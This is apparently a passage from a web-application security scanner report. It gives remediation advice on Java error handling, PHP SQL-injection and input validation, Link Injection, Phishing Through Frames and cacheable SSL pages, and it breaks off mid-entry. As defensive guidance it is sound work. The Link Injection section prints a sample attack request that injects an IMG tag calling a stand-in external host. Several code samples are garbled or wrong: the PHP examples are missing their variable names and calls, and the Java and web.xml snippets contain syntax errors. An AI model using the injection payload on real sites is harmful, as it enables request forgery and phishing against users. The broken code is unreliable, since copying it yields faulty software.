input_time: accepts a java.util.Date, formatted with a java.text.DateFormat time instance
output_time: displays a java.util.Date, formatted with a java.text.DateFormat time instance
input_hidden: allows a page author to include a hidden variable in a page
input_secret: accepts one line of text with no spaces and displays it as a set of asterisks as it is typed
input_textarea: accepts multiple lines of text
output_errors: displays error messages for an entire page or error messages associated with a specified client identifier
output_label: displays a nested component as a label for a specified input field
output_message: displays a localized message

Example to validate the userName field of a loginForm using JavaServer Faces:

```
  <%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
  <%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
  ...
  <jsp:useBean id="UserBean"
      class="myApplication.UserBean" scope="session" />
  <f:use_faces>
    <h:form formName="loginForm" >
      <h:input_text id="userName" size="20" modelReference="UserBean.userName">
          <f:validate_required/>
          <f:validate_length minimum="8" maximum="20"/>
      </h:input_text>
      <!-- display errors if present -->
      <h:output_errors id="loginErrors" clientId="userName"/>
      <h:command_button id="submit" label="Submit" commandName="submit" /><p>
    </h:form>
  </f:use faces>
```

REFERENCES
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/
Java Regular Expression Package -
http://jakarta.apache.org/regexp/
Jakarta Validator -
http://jakarta.apache.org/commons/validator/

JavaServer Faces Technology -
http://java.sun.com/j2ee/javaserverfaces/

** Error Handling:

Many J2EE web application architectures follow the Model View Controller (MVC) pattern. In this pattern a Servlet acts as a Controller. A Servlet delegates the application processing to a JavaBean such as an EJB Session Bean (the Model). The Servlet then forwards the request to a JSP (View) to render the processing results. Servlets should check all input, output, return codes, error codes and known exceptions to ensure that the expected processing actually occurred.

While data validation protects applications against malicious data tampering, a sound error handling strategy is necessary to prevent the application from inadvertently disclosing internal error messages such as exception stack traces. A good error handling strategy addresses the following items:

[1] Defining Errors
[2] Reporting Errors
[3] Rendering Errors
[4] Error Mapping

[1] Defining Errors
Hard-coded error messages in the application layer (e.g. Servlets) should be avoided. Instead, the application should use error keys that map to known application failures. A good practice is to define error keys that map to validation rules for HTML form fields or other bean properties. For example, if the "user_name" field is required, is alphanumeric, and must be unique in the database, then the following error keys should be defined:

(a) ERROR_USERNAME_REQUIRED: this error key is used to display a message notifying the user that the "user_name" field is required;
(b) ERROR_USERNAME_ALPHANUMERIC: this error key is used to display a message notifying the user that the "user_name" field should be alphanumeric;
(c) ERROR_USERNAME_DUPLICATE: this error key is used to display a message notifying the user that the "user_name" value is a duplicate in the database;
(d) ERROR_USERNAME_INVALID: this error key is used to display a generic message notifying the user that the "user_name" value is invalid;

A good practice is to define the following framework Java classes which are used to store and report application errors:

- ErrorKeys: defines all error keys

```
// Example: ErrorKeys defining the following error keys:
//    - ERROR_USERNAME_REQUIRED
//    - ERROR_USERNAME_ALPHANUMERIC
//    - ERROR_USERNAME_DUPLICATE
//    - ERROR_USERNAME_INVALID
//    ...
public Class ErrorKeys {
    public static final String ERROR_USERNAME_REQUIRED = "error.username.required";
    public static final String ERROR_USERNAME_ALPHANUMERIC = "error.username.alphanumeric";
    public static final String ERROR_USERNAME_DUPLICATE = "error.username.duplicate";
    public static final String ERROR_USERNAME_INVALID = "error.username.invalid";
    ...
}
```

- Error: encapsulates an individual error

```
// Example: Error encapsulates an error key.
// Error is serializable to support code executing in multiple JVMs.
public Class Error implements Serializable {

    // Constructor given a specified error key
    public Error(String key) {
        this(key, null);
    }

    // Constructor given a specified error key and array of placeholder objects
    public Error(String key, Object[] values) {
        this.key = key;
        this.values = values;
    }

    // Returns the error key
    public String getKey() {
        return this.key;
    }

    // Returns the placeholder values
    public Object[] getValues() {
        return this.values;
    }

    private String key = null;
    private Object[] values = null;
}
```

- Errors: encapsulates a Collection of errors

```
    // Example: Errors encapsulates the Error objects being reported to the presentation layer.
    // Errors are stored in a HashMap where the key is the bean property name and value is an
    // ArrayList of Error objects.
    public Class Errors implements Serializable {

        // Adds an Error object to the Collection of errors for the specified bean property.
        public void addError(String property, Error error) {
            ArrayList propertyErrors = (ArrayList)errors.get(property);
            if (propertyErrors == null) {
                propertyErrors = new ArrayList();
                errors.put(property, propertyErrors);
            }
            propertyErrors.put(error);
        }

        // Returns true if there are any errors
        public boolean hasErrors() {
            return (errors.size > 0);
        }

        // Returns the Errors for the specified property
        public ArrayList getErrors(String property) {
            return (ArrayList)errors.get(property);
        }

        private HashMap errors = new HashMap();
    }
```

Using the above framework classes, here is an example to process validation errors of the "user_name" field:

```
// Example to process validation errors of the "user_name" field.
Errors errors = new Errors();
String userName = request.getParameter("user_name");
// (a) Required validation rule
if (!Validator.validateRequired(userName)) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_REQUIRED));
} // (b) Alpha-numeric validation rule
else if (!Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_ALPHANUMERIC));
}
else
{
    // (c) Duplicate check validation rule
    // We assume that there is an existing UserValidationEJB session bean that implements
    // a checkIfDuplicate() method to verify if the user already exists in the database.
    try {
        ...
        if (UserValidationEJB.checkIfDuplicate(userName)) {
            errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE));
        }
    } catch (RemoteException e) {
        // log the error
        logger.error("Could not validate user for specified userName: " + userName);
        errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE);
    }
}
// set the errors object in a request attribute called "errors"
request.setAttribute("errors", errors);
...
```

[2] Reporting Errors
There are two ways to report web-tier application errors:
(a) Servlet Error Mechanism
(b) JSP Error Mechanism

[2-a] Servlet Error Mechanism
A Servlet may report errors by:
- forwarding to the input JSP (having already stored the errors in a request attribute), OR
- calling response.sendError with an HTTP error code argument, OR
- throwing an exception

It is good practice to process all known application errors (as described in section [1]), store them in a request attribute, and forward to the input JSP. The input JSP should display the error messages and prompt the user to re-enter the data. The following example illustrates how to forward to an input JSP (userInput.jsp):

```
// Example to forward to the userInput.jsp following user validation errors
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd != null) {
    rd.forward(request, response);
}
```

If the Servlet cannot forward to a known JSP page, the second option is to report an error using the response.sendError method with HttpServletResponse.SC_INTERNAL_SERVER_ERROR (status code 500) as argument. Refer to the javadoc of

javax.servlet.http.HttpServletResponse for more details on the various HTTP status codes. Example to return a HTTP error:

```
// Example to return a HTTP error code
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd == null) {
    // messages is a resource bundle with all message keys and values
    response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR,
                           messages.getMessage(ErrorKeys.ERROR_USERNAME_INVALID));
}
```

As a last resort, Servlets can throw an exception, which must be a subclass of one of the following classes:
- RuntimeException
- ServletException
- IOException

[2-b] JSP Error Mechanism
JSP pages provide a mechanism to handle runtime exceptions by defining an errorPage directive as shown in the following example:

```
<%@ page errorPage="/errors/userValidation.jsp" %>
```

Uncaught JSP exceptions are forwarded to the specified errorPage, and the original exception is set in a request parameter called javax.servlet.jsp.jspException. The error page must include a isErrorPage directive as shown below:

```
<%@ page isErrorPage="true" %>
```

The isErrorPage directive causes the "exception" variable to be initialized to the exception object being thrown.

[3] Rendering Errors
The J2SE Internationalization APIs provide utility classes for externalizing application resources and formatting messages including:

(a) Resource Bundles
(b) Message Formatting

[3-a] Resource Bundles
Resource bundles support internationalization by separating localized data from the source code that uses it. Each resource bundle stores a map of key/value pairs for a specific locale.

It is common to use or extend java.util.PropertyResourceBundle, which stores the content in an external properties file as shown in the following example:

```
################################################
# ErrorMessages.properties
################################################
# required user name error message
error.username.required=User name field is required

# invalid user name format
error.username.alphanumeric=User name must be alphanumeric

# duplicate user name error message
error.username.duplicate=User name {0} already exists, please choose another one

...
```

Multiple resources can be defined to support different locales (hence the name resource bundle). For example, ErrorMessages_fr.properties can be defined to support the French member of the bundle family. If the resource member of the requested locale does not exist, the default member is used. In the above example, the default resource is ErrorMessages.properties. Depending on the user's locale, the application (JSP or Servlet) retrieves content from the appropriate resource.

[3-b] Message Formatting
The J2SE standard class java.util.MessageFormat provides a generic way to create messages with replacement placeholders. A MessageFormat object contains a pattern string with embedded format specifiers as shown below:

```
// Example to show how to format a message using placeholder parameters
String pattern = "User name {0} already exists, please choose another one";
String userName = request.getParameter("user_name");
Object[] args = new Object[1];
args[0] = userName;
String message = MessageFormat.format(pattern, args);
```

Here is a more comprehensive example to render error messages using ResourceBundle and MessageFormat:

```
// Example to render an error message from a localized ErrorMessages resource (properties file)
// Utility class to retrieve locale-specific error messages
public Class ErrorMessageResource {

    // Returns the error message for the specified error key in the environment locale
    public String getErrorMessage(String errorKey) {
        return getErrorMessage(errorKey, defaultLocale);
    }

    // Returns the error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Locale locale) {
```

```
            return getErrorMessage(errorKey, null, locale);
        }

        // Returns a formatted error message for the specified error key in the specified locale
        public String getErrorMessage(String errorKey, Object[] args, Locale locale) {
            // Get localized ErrorMessageResource
            ResourceBundle errorMessageResource = ResourceBundle.getBundle("ErrorMessages", locale);
            // Get localized error message
            String errorMessage = errorMessageResource.getString(errorKey);
            if (args != null) {
                // Format the message using the specified placeholders args
                return MessageFormat.format(errorMessage, args);
            } else {
                return errorMessage;
            }
        }

        // default environment locale
        private Locale defaultLocale = Locale.getDefaultLocale();
    }
    ...
    // Get the user's locale
    Locale userLocale = request.getLocale();
    // Check if there were any validation errors
    Errors errors = (Errors)request.getAttribute("errors");
    if (errors != null && errors.hasErrors()) {
        // iterate through errors and output error messages corresponding to the "user_name"
property
        ArrayList userNameErrors = errors.getErrors("user_name");
        ListIterator iterator = userNameErrors.iterator();
        while (iterator.hasNext()) {
            // Get the next error object
            Error error = (Error)iterator.next();
            String errorMessage = ErrorMessageResource.getErrorMessage(error.getKey(), userLocale);
            output.write(errorMessage + "\r\n");
        }
    }
```

It is recommended to define a custom JSP tag, e.g. displayErrors, to iterate through and render error messages as shown in the above example.

[4] Error Mapping
Normally, the Servlet Container will return a default error page corresponding to either the response status code or the exception. A mapping between the status code or the exception and a web resource may be specified using custom error pages. It is a good practice to develop static error pages that do not disclose internal error states (by default, most Servlet containers will report internal error messages). This mapping is configured in the Web Deployment Descriptor (web.xml) as specified in the following example:

```
  <!-- Mapping of HTTP error codes and application exceptions to error pages -->
  <error-page>
    <exception-type>UserValidationException</exception-type>
    <location>/errors/validationError.html</error-page>
  </error-page>
  <error-page>
    <error-code>500</exception-type>
    <location>/errors/internalError.html</error-page>
  </error-page>
  <error-page>
  ...
  </error-page>
  ...
```

RECOMMENDED JAVA TOOLS
The two main Java frameworks for server-side validation are:
[1] Jakarta Commons Validator (integrated with Struts 1.1)
The Jakarta Commons Validator is a Java framework that defines the error handling mechanism as described above. Validation rules are configured in an XML file that defines input validation rules for form fields and the corresponding validation error keys. Struts provides internationalization support to build localized applications using resource bundles and message formatting.

Example to validate the userName field of a loginForm using Struts Validator:

```
  <form-validation>
      <global>
          ...
          <validator name="required"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateRequired"
              msg="errors.required">
          </validator>
          <validator name="mask"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateMask"
              msg="errors.invalid">
          </validator>
          ...
```

```
    </global>
    <formset>
        <form name="loginForm">
            <!-- userName is required and is alpha-numeric case insensitive -->
            <field property="userName" depends="required,mask">
                <!-- message resource key to display if validation fails -->
                <msg name="mask" key="login.userName.maskmsg"/>
                <arg0 key="login.userName.displayname"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>^[a-zA-Z0-9]*$</var-value>
                </var>
            </field>
        ...
        </form>
        ...
    </formset>
</form-validation>
```

The Struts JSP tag library defines the "errors" tag that conditionally displays a set of accumulated error messages as shown in the following example:

```
<%@ page language="java" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<html:html>
<head>
<body>
    <html:form action="/logon.do">
    <table border="0" width="100%">
    <tr>
        <th align="right">
            <html:errors property="username"/>
            <bean:message key="prompt.username"/>
        </th>
        <td align="left">
            <html:text property="username" size="16"/>
        </td>
    </tr>
    <tr>
    <td align="right">
        <html:submit><bean:message key="button.submit"/></html:submit>
    </td>
    <td align="right">
        <html:reset><bean:message key="button.reset"/></html:reset>
    </td>
    </tr>
    </table>
    </html:form>
</body>
</html:html>
```

[2] JavaServer Faces Technology
JavaServer Faces Technology is a set of Java APIs (JSR 127) to represent UI components, manage their state, handle events, validate input, and support internationalization.

The JavaServer Faces API defines the "output_errors" UIOutput Renderer, which displays error messages for an entire page or error messages associated with a specified client identifier.

Example to validate the userName field of a loginForm using JavaServer Faces:

```
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
...
<jsp:useBean id="UserBean"
    class="myApplication.UserBean" scope="session" />
<f:use_faces>
  <h:form formName="loginForm" >
    <h:input_text id="userName" size="20" modelReference="UserBean.userName">
        <f:validate_required/>
        <f:validate_length minimum="8" maximum="20"/>
    </h:input_text>
    <!-- display errors if present -->
    <h:output_errors id="loginErrors" clientId="userName"/>
    <h:command_button id="submit" label="Submit" commandName="submit" /><p>
  </h:form>
</f:use faces>
```

REFERENCES
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/

Java Regular Expression Package -
http://jakarta.apache.org/regexp/
Jakarta Validator -
http://jakarta.apache.org/commons/validator/
JavaServer Faces Technology -
http://java.sun.com/j2ee/javaserverfaces/

## Fix Recommendation - PHP

** Filter User Input

Before passing any data to a SQL query, it should always be properly filtered with whitelisting techniques. This cannot be over-emphasized. Filtering user input will correct many injection flaws before they arrive at the database.

** Quote User Input

Regardless of data type, it is always a good idea to place single quotes around all user data if this is permitted by the database. MySQL allows this formatting technique.

** Escape the Data Values

If you're using MySQL 4.3.0 or newer, you should escape all strings with mysql_real_escape_string(). If you are using an older version of MySQL, you should use the mysql_escape_string() function. If you are not using MySQL, you might choose to use the specific escaping function for your particular database. If you are not aware of an escaping function, you might choose to utilize a more generic escaping function such as addslashes().

If you're using the PEAR DB database abstraction layer, you can use the DB::quote() method or use a query placeholder like ?, which automatically escapes the value that replaces the placeholder.

REFERENCES

http://ca3.php.net/mysql_real_escape_string

http://ca.php.net/mysql_escape_string

http://ca.php.net/addslashes

http://pear.php.net/package-info.php?package=DB

** Input Data Validation:

While data validations may be provided as a user convenience on the client-tier, data validation must always be performed on the server-tier. Client-side validations are inherently insecure because they can be easily bypassed, e.g. by disabling Javascript.

A good design usually requires the web application framework to provide server-side utility routines to validate the following:
[1] Required field
[2] Field data type (all HTTP request parameters are Strings by default)
[3] Field length
[4] Field range
[5] Field options
[6] Field pattern
[7] Cookie values
[8] HTTP Response

A good practice is to implement a function or functions that validates each application parameter. The following sections describe some example checking.

[1] Required field
Always check that the field is not null and its length is greater than zero, excluding leading and trailing white spaces.

Example of how to validate required fields:

```
  // PHP example to validate required fields
input) {
      ...
ass = false;
input))>0){
ass = true;
      }
ass;
      ...
  }
  ...
fieldName)) {
      // fieldName is valid, continue processing request
      ...
  }
```

[2] Field data type
In web applications, input parameters are poorly typed. For example, all HTTP request parameters or cookie values are of type String. The developer is responsible for verifying the input is of the correct data type.

[3] Field length

Always ensure that the input parameter (whether HTTP request parameter or cookie value) is bounded by a minimum length and/or a maximum length.

[4] Field range
Always ensure that the input parameter is within a range as defined by the functional requirements.

[5] Field options
Often, the web application presents the user with a set of options to choose from, e.g. using the SELECT HTML tag, but fails to perform server-side validation to ensure that the selected value is one of the allowed options. Remember that a malicious user can easily modify any option value. Always validate the selected user value against the allowed options as defined by the functional requirements.

[6] Field pattern
Always check that user input matches a pattern as defined by the functionality requirements. For example, if the userName field should only allow alpha-numeric characters, case insensitive, then use the following regular expression:
^[a-zA-Z0-9]+$

[7] Cookie value
The same validation rules (described above) apply to cookie values depending on the application requirements, e.g. validate a required value, validate length, etc.

[8] HTTP Response

[8-1] Filter user input
To guard the application against cross-site scripting, the developer should sanitize HTML by converting sensitive characters to their corresponding character entities. These are the HTML sensitive characters:
< > " ' % ; ) ( & +

PHP includes some automatic sanitization utility functions, such as htmlentities():

```
$input = htmlentities($input, ENT QUOTES, 'UTF-8');
```

In addition, in order to avoid UTF-7 variants of Cross-site Scripting, you should explicitly define the Content-Type header of the response, for example:

```
<?php

header('Content-Type: text/html; charset=UTF-8');

?>
```

[8-2] Secure the cookie

When storing sensitive data in a cookie and transporting it over SSL, make sure that you first set the secure flag of the cookie in the HTTP response. This will instruct the browser to only use that cookie over SSL connections.

You can use the following code example, for securing the cookie:

```
<$php

value = "some_value";
time = time()+3600;
ath = "/application/";
domain = ".example.com";
secure = 1;

secure, TRUE);
?>
```

In addition, we recommend that you use the HttpOnly flag. When the HttpOnly flag is set to TRUE the cookie will be made accessible only through the HTTP protocol. This means that the cookie won't be accessible by scripting languages, such as JavaScript. This setting can effectively help to reduce identity theft through XSS attacks (although it is not supported by all browsers).

The HttpOnly flag was Added in PHP 5.2.0.

REFERENCES

[1] Mitigating Cross-site Scripting With HTTP-only Cookies:
http://msdn2.microsoft.com/en-us/library/ms533046.aspx
[2] PHP Security Consortium:
http://phpsec.org/
[3] PHP & Web Application Security Blog (Chris Shiflett):
http://shiflett.org/

## References and Relevant Links

"Web Application Disassembly with ODBC Error Messages" (By David Litchfield)
"Using Binary Search with SQL Injection" (By Sverre H. Huseby)
Blind SQL Injection Training Module

# Link Injection (facilitates Cross-Site Request Forgery)

## Application

## WASC Threat Classification

Content Spoofing
http://projects.webappsec.org/Content-Spoofing

## Security Risks

It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.
It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user
It is possible to upload, modify or delete web pages, scripts and files on the web server

## Possible Causes

Sanitation of hazardous characters was not performed correctly on user input

## Technical Description

The software constructs all or part of a command, data structure, or record using externally-influenced input, but fails to neutralize elements that could modify how it is parsed or interpreted.

Link Injection is the modifying of the content of a site by embedding in it a URL to an external site, or to a script in the vulnerable site. After embedding the URL in the vulnerable site, an attacker is able to use it as a platform to launch attacks against other sites, as well as against the vulnerable site itself.

Some of these possible attacks require the user to be logged in to the site during the attack. By launching these attacks from the vulnerable site itself, the attacker increases the chances of success, because the user is more likely to be logged in.

The Link Injection vulnerability is a result of insufficient user input sanitization, the input being later returned to the user in the site response. The resulting ability to inject hazardous characters into the response makes it possible for attackers to embed URLs, among other possible content modifications.

Below is an example for a Link Injection (We will assume that site "www.vulnerable.com" has a parameter called "name", which is used to greet users).

The following request:
HTTP://www.vulnerable.com/greet.asp?name=John Smith

Will yield the following response:

```
<HTML>
<BODY>
        Hello, John Smith.
</BODY>
</HTML>
```

However, a malicious user may send the following request:
HTTP://www.vulnerable.com/greet.asp?name=<IMG SRC="http://www.ANY-SITE.com/ANY-SCRIPT.asp">

This will return the following response:

```
<HTML>
<BODY>
        Hello, <IMG SRC="http://www.ANY-SITE.com/ANY-SCRIPT.asp">.
</BODY>
</HTML>
```

As this example shows, it is possible to cause a user's browser to issue automatic requests to virtually any site the attacker desires. As a result, Link Injection vulnerability can be used to launch several types of attack:
[-] Cross-Site Request Forgery
[-] Cross-Site Scripting
[-] Phishing

## Fix Recommendation - General

There are several mitigation techniques:
[1] Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur, or provides constructs that make it easier to avoid. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

[2] Understand the context in which your data will be used, and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
[-] HTML body
[-] Element attributes (such as src="XYZ")
[-] URIs

[-] JavaScript sections
[-] Cascading Style Sheets and style property
Note that HTML Entity Encoding is only appropriate for the HTML body.
Consult the XSS Prevention Cheat Sheet
http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
for more details on the types of encoding and escaping that are needed.

[3] Strategy: Identify and Reduce Attack Surface
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

[4] Strategy: Output Encoding
For every web page that is generated, use and specify a character encoding such as ISO-8859-1 or UTF-8. When an encoding is not specified, the web browser may choose a different encoding by guessing the web page encoding. This can cause the web browser to treat certain sequences as special, opening up the client to subtle XSS attacks. See CWE-116 for more mitigations related to encoding/escaping.

[5] Strategy: Identify and Reduce Attack Surface
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

[6] Strategy: Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy: a whitelist of acceptable inputs that strictly conform to specifications. Reject input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on a blacklist of malicious or malformed inputs. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue."
When dynamically constructing web pages, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed: not only parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so on. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

## References and Relevant Links

OWASP Article
The Cross-Site Request Forgery FAQ
Cross-Site Request Forgery Training Module

# Phishing Through Frames

## Application

## WASC Threat Classification

Content Spoofing
http://projects.webappsec.org/Content-Spoofing

## Security Risks

It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.

## Possible Causes

Sanitation of hazardous characters was not performed correctly on user input

## Technical Description

Phishing is a social engineering technique where an attacker masquerades as a legitimate entity with which the victim might do business in order to prompt the user to reveal some confidential information (very frequently authentication credentials) that can later be used by an attacker. Phishing is essentially a form of information gathering or "fishing" for information.

It is possible for an attacker to inject a frame or an iframe tag with malicious content. An incautious user may browse it and not realize that he is leaving the original site and surfing to a malicious site. The attacker may then lure the user to login again, thus acquiring his login credentials.
The fact that the fake site is embedded in the original site helps the attacker by giving his phishing attempts a more reliable appearance.

## Fix Recommendation - General

There are several mitigation techniques:
[1] Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur, or provides constructs that make it easier to avoid. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

[2] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
[-] HTML body
[-] Element attributes (such as src="XYZ")
[-] URIs
[-] JavaScript sections
[-] Cascading Style Sheets and style property
Note that HTML Entity Encoding is only appropriate for the HTML body.
Consult the XSS Prevention Cheat Sheet
http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
for more details on the types of encoding and escaping that are needed.

[3] Strategy: Identify and Reduce Attack Surface
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

[4] Strategy: Output Encoding
For every web page that is generated, use and specify a character encoding such as ISO-8859-1 or UTF-8. When an encoding is not specified, the web browser may choose a different encoding by guessing which encoding is actually being used by the web page. This can cause the web browser to treat certain sequences as special, opening up the client to subtle XSS attacks. See CWE-116 for more mitigations related to encoding/escaping.

[5] Strategy: Identify and Reduce Attack Surface
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

[6] Strategy: Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy: a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on a blacklist of malicious or malformed inputs. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if

you are expecting colors such as "red" or "blue."
When dynamically constructing web pages, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
Even if you make a mistake in your validation (such as forgetting one of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

## References and Relevant Links

FTC Consumer Alert - "How Not to Get Hooked by a 'Phishing' Scam"

# Cacheable SSL Page Found

## Application

## WASC Threat Classification

Information Leakage
http://projects.webappsec.org/Information-Leakage

## Security Risks

It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations

## Possible Causes

Sensitive information might have been cached by your browser

## Technical Description

Most web browsers are configured by default to cache the user's pages during use. This means that SSL pages are cached as well.

It is not recommended to enable the web browser to save any SSL information, since this information might be compromised when a vulnerability exists.

## Fix Recommendation - General

Disable caching on all SSL pages or all pages that contain sensitive data.
This can be achieved by using "Cache-Control: no-store" and either "Pragma: no-cache" or "Cache-Control: no-cache" response directives in your SSL page headers.

Cache-Control: private - This directive instructs proxies that the page contains private information, and therefore should not be cached by a shared cache. However, it does not instruct browsers to refrain from caching the pages.

Cache-Control: no-cache - This directive also instructs proxies that the page contains private information, and therefore should not be cached. It also instructs the browser to revalidate with the server to check if a new version is available. This means that the browser may store sensitive pages or information to be used in the revalidation. Certain browsers do not necessarily follow the RFC and may treat no-cache as no-store.

Cache-Control: no-store - This is the most secure directive. It instructs both the proxy and the browser not to cache the page or store it in its cache folders.

Pragma: no-cache - This directive is required for older browsers, that do not support the Cache-Control header.

## References and Relevant Links

# Query Parameter in SSL Request

## Application

## WASC Threat Classification

Information Leakage
http://projects.webappsec.org/Information-Leakage

## Security Risks

It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted

## Possible Causes

